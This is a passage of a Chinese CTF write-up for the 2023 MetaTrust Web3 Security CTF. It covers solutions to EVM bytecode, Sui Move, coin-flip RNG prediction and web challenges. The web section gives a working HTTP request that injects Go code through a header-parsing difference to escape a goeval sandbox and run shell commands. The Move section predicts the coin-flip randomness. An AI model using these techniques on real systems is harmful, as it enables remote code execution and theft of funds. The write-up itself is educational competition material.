      (bool success,) = _yourContract.delegatecall("");
      require(success, "Delegatecall failed");
  }

那么我们现在就来构造这个合约。如果通过正常写合约代码,是无法满足这两个条件的,因为我们无法保证编译器编译出来的字节内容,只能保证功能。因此,我们需要自己手动写字节码,然后部署上去。任务:这个字节码需要实现修改slot_0的内容为true的功能、满足isByteDance()(这个我们前面分析了,用0x81)、每一个字节都是奇数(这就限制了我们使用的操作码的内容)。

3.2构造字节码

核心功能是:用SSTORE将slot_0的内容设置为true,也就是需要stack中包含0,1两个数值,然后用SSTORE写入。

我一开始想的是用PUSH将0和1放进stack,然后SSTORE,最后再停止程序,在程序后面补上0x81。但是PUSH有限制,只能取61,63,65等,并且取了不同的PUSH,输入的内容为1的话,前面会有多余0不符合奇数,输入的数值为0的话,也不符合奇数,因此需要另辟蹊径。

我的想法是用DUP复制,但是也不太可行。便想到用移位和ISZERO来操作行得通:通过下面的步骤就完成了核心功能

[00] PUSH2 0101   61 0101 
[03] PUSH2 1101   61 1101 
[06] SHL            1B
[07] ISZERO        15
[08] PUSH2 0101   61 0101
[0b] PUSH2 1101   61 1101
[0e] SHL            1B
[0f] SSTORE        55 

然后就是要想办法将0x81嵌入进字节码:我的想法是直接用RETURN返回程序,这样就不会报错,并且将0x81嵌入到返回值选取的内容当中

[18] PUSH2 0101   61 0101
[1b] PUSH2 1181   61 1181
[20] RETURN        F3

将操作码连接起来,就成为了我们的字节码:

6101016111011B156101016111011B55610101611181F3

最后就是我们需要一个方法来部署这个字节码:

contract Deployer{
    function deploy() public returns(address){
        bytes memory x = hex"6101016111011B156101016111011B55610101611181F3";
        return address(new OurBytecode(x));
    }
}
contract OurBytecode{
    constructor(bytes memory code){assembly{return (add(code, 0x20), mload(code))}}
}

解题

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "./ByteDance.sol";

contract attacker is Script {
    function run() public {
        uint256 deployerPrivateKey = vm.envUint("privatekey");
        vm.startBroadcast(deployerPrivateKey);

        Deployer deployer = new Deployer();
        address addr = deployer.deploy();
        ByteDance level = ByteDance(0xA3c3cb2FC91412ff3B18C2a795AeC4b816f9bCD2);
        level.checkCode(address(addr));

        vm.stopBroadcast();
    }
}
contract Deployer{
    function deploy() public returns(address){
        bytes memory x = hex"6101016111011B156101016111011B55610101611181F3";
        return address(new OurBytecode(x));
    }
}
contract OurBytecode{
    constructor(bytes memory code){
        assembly{
            return (add(code, 0x20), mload(code))
        }
    }
}

Web gangster

通过⽬录扫描得到/wwwlog,识别为nginx 配置⽂件

2023 MetaTrust Web3 Security CTF writeup by Venom

观察wwwlog找到配置错误导致的⽬录穿越,获取a.py以及main.go源码

2023 MetaTrust Web3 Security CTF writeup by Venom

2023 MetaTrust Web3 Security CTF writeup by Venom

利⽤gin和flask对http头解析差异绕过对http头abc的限制, 最后通过golang中程序引用goeval中的eval库导致沙箱逃逸

GET /sadfh9obdfe1 HTTP/1.1
Host30.0.93.202:64081 Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,imag e/avif,image/webp,image/apng,*/*;q=0.8,application/signedexchange;v=b3;q=0.7
abc:
abc:os/exec"%0a"fmt")%0afunc%09init() {%0acmd%09:=exec.Command("/bin/sh","c","cat${IFS}/flag>/var/www/html/1.txt")%0ares,err%09:=%09 cmd.CombinedOutput()%0afmt.Println(string(res))%0afmt.Prin tln(err)%0a}%0aconst(%0aMessage="fmt Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close

2023 MetaTrust Web3 Security CTF writeup by Venom

Hello World

这道题只需要猜数字即可,宇宙的答案42

module solution::hello_world_solution {
    use challenge::hello_world;
    use sui::hash;
    public entry fun solve(status: &mut hello_world::Status) {
        /* Please add your solution here */
        let input = b"42";
        hello_world::answer_to_life(status, input);

    }
}

Friendly Fire

与上一道题目类似, 只需要对应flag的判断条件传入secret:

https://github.com/MetaTrustLabs/ctf/blob/master/friendlyFire/framework/chall/sources/friendly_fire.move#L38


module solution::friendly_fire_solution {
    use sui::tx_context::TxContext;
    use challenge::friendly_fire;

    public entry fun solve(status: &mut friendly_fire::Status, ctx: &mut TxContext) {
        /* Please add your solution here */
        let input = std::string::utf8(b"0x31337690420");
        friendly_fire::prestige(status, input, ctx);

    }
}

McChicken

分析

这道题主要考察Sui Move 语法, 目标是使构建的 contents 与order 内容一致:

assert!( bcs::to_bytes(&contents) == order.order, ERR_INCORRECT_ORDER);

Order的内容我们可以从 framework/src/main.rs 读取:

  • Order1: https://github.com/MetaTrustLabs/ctf/blob/master/McChicken/framework/src/main.rs#L87-L101
  • Order2: https://github.com/MetaTrustLabs/ctf/blob/master/McChicken/framework/src/main.rs#L118-L140 上面的数据遵循little-endian, 也就是说[0x78, 0x00] => 0x78 => 120, 对应到源码就是Bun。按照这个规律去decode 菜单即可。

题解

module solution::mc_chicken_solution {

    // [*] Import dependencies
    use sui::tx_context::TxContext;
    use challenge::mc_chicken;

    struct Order1Bag has store, drop {
        bun: mc_chicken::Bun,
        mayo: mc_chicken::Mayo,
        lettuce: mc_chicken::Lettuce,
        chicken_schnitzel: mc_chicken::ChickenSchnitzel,
        cheese: mc_chicken::Cheese,
        bun2: mc_chicken::Bun,
    }

    struct Order2Bag has store, drop {
        bun: mc_chicken::Bun,
        cheese: mc_chicken::Cheese,
        cheese2: mc_chicken::Cheese,
        chicken_schnitzel: mc_chicken::ChickenSchnitzel,
        cheese3: mc_chicken::Cheese,
        chicken_schnitzel2: mc_chicken::ChickenSchnitzel,
        cheese4: mc_chicken::Cheese,
        chicken_schnitzel3: mc_chicken::ChickenSchnitzel,
        cheese5: mc_chicken::Cheese,
        cheese6: mc_chicken::Cheese,
        bun2: mc_chicken::Bun,
    }

    // [*] Public functions
    public fun solve( chef: &mut mc_chicken::ChefCapability, order1: &mut mc_chicken::Order, order2: &mut mc_chicken::Order, ctx: &mut TxContext) {

        let contents1 = Order1Bag {
            bun: mc_chicken::get_bun(chef),
            mayo: mc_chicken::get_mayo(chef),
            lettuce: mc_chicken::get_lettuce(chef),
            chicken_schnitzel: mc_chicken::get_chicken_schnitzel(chef),
            cheese: mc_chicken::get_cheese(chef),
            bun2: mc_chicken::get_bun(chef),
        };

        let contents2 = Order2Bag {
            bun: mc_chicken::get_bun(chef),
            cheese: mc_chicken::get_cheese(chef),
            cheese2: mc_chicken::get_cheese(chef),
            chicken_schnitzel: mc_chicken::get_chicken_schnitzel(chef),
            cheese3: mc_chicken::get_cheese(chef),
            chicken_schnitzel2: mc_chicken::get_chicken_schnitzel(chef),
            cheese4: mc_chicken::get_cheese(chef),
            chicken_schnitzel3: mc_chicken::get_chicken_schnitzel(chef),
            cheese5: mc_chicken::get_cheese(chef),
            cheese6: mc_chicken::get_cheese(chef),
            bun2: mc_chicken::get_bun(chef),
        };
        
        mc_chicken::deliver_order(chef, order1, contents1, ctx);
        mc_chicken::deliver_order(chef, order2, contents2, ctx);
    }

}

Vvault

分析

目标: 猜中12次

if (game.combo == 12) {
    game.solved = true;
   }

这道题和之前Move CTF 的一道题比较类似, 同样是准备一个mock random generator与真正的random generator 保持一致, 这样我们就可以和对手保持一致了。主要流程如下:

    struct Game has key, store {
        id: UID,
        stake: Coin<SUI>,
        combo: u8,
        fee: u8,
        player: address,
        author: address,
        randomness: Random,
        solved : bool,
    }
  1. 获取真实的seed, 和上一题类似不过这次我们要decode Game struct, 这里依旧遵循little-endian, 也就是说seed(原本为u8)的值其实存储在头部, 例如[15,0,0,0,0,0,0,0]。 根据Game结构,seed 存储在倒数第9个(1+7+1)u8
  2. 构建mock generator, 调用 play_game
  3. 需要注意的是 Coin<SUI> 是不能drop的, 需要额外再跑一次把balance用完

题解

module solution::coin_flip_solution {

    // [*] Import dependencies
    use sui::tx_context::{TxContext, Self};
    use challenge::coin_flip;
    use sui::coin::{Self, Coin};
    use sui::sui::SUI;
    use std::bcs;
    use std::vector;

  // mock random generator
    
    struct Random has drop, store, copy {
        seed: u64
    }

    fun new_generator(seed: u64): Random {
        Random { seed }
    }

    fun generate_rand(r: &mut Random): u64 {
        r.seed = ((((9223372036854775783u128 * ((r.seed as u128)) + 999983) >> 1) & 0x0000000000000000ffffffffffffffffas u64);
        r.seed
    }

    // [*] Public functions
    public entry fun solve( game: &mut coin_flip::Game, balance: Coin<SUI>, ctx: &mut TxContext) : u8 {
        
        let bytes: vector<u8> = bcs::to_bytes(game);

        let secret = *vector::borrow(&bytes, vector::length(&bytes) - 9);
        
        let r = new_generator((secret as u64));
        let round = 0;
        let fee = coin::split(&mut balance, 10, ctx);
        coin_flip::start_game(game, fee, ctx);
        while (round < 11) {
            let guess = generate_rand(&mut r) % 2;
            round = round + 1;
            coin_flip::play_game(game, (guess as u8), coin::split(&mut balance, 10, ctx), ctx);
        };
        let guess = generate_rand(&mut r) % 2;
        coin_flip::play_game(game, (guess as u8), balance, ctx);
        secret
    }



}

– END –


2023 MetaTrust Web3 Security CTF writeup by Venom

原文始发于微信公众号(ChaMd5安全团队):2023 MetaTrust Web3 Security CTF writeup by Venom

版权声明:admin 发表于 2023年9月29日 上午8:02。
转载请注明:2023 MetaTrust Web3 Security CTF writeup by Venom | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...